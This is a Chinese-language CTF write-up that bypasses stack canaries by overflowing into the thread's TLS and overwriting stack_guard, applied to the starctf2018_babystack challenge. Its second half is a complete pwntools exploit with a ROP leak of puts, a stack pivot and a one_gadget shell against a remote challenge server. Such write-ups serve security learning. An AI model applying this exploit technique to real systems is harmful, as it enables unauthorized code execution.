劫持TLS(bypass canary)

当程序在创建线程的时候,顺便会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方。所以,当我们溢出足够大的字节,就可以控制TLS结构体,进而控制canary

1

fs寄存器也就指向了TLS这个结构体,其偏移0x28的位置是stack_guard,里面的值就是放进栈的canary

看个例题:

starctf2018_babystack

2

3

程序的逻辑也并不复杂,创建了一个线程,线程函数内存在栈溢出,而且溢出字节可达到0x10000

我们想覆盖掉TLS里的stack_guard首先需要找到它

我这里断点断在0x400a7d的位置

4

我们输入a 的位置 : 0x7ffff77edf40

TLS的位置:0x7ffff77ef700

5

stack_guard的位置 0x7ffff77ef700+ 0x28

6

看一下确实这里存放着canary

接下来就可以利用栈溢出写ROP了

但是后面发现偏移不对,因为用的16.04的机子,题目的libc是18.04的,patchelf后再测:

7

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# encoding=utf-8
from pwn import *
context(os="linux",arch="amd64",log_level="debug")

#io = process("./bs")
io = remote('node4.buuoj.cn',28094)
elf = ELF("./bs")
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = '\x00' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)


payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x00')

io.sendlineafter("send?\n", str(0x2000))
io.send(payload)

libc_base = u64(io.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

io.send(p64(one_gadget))

io.interactive()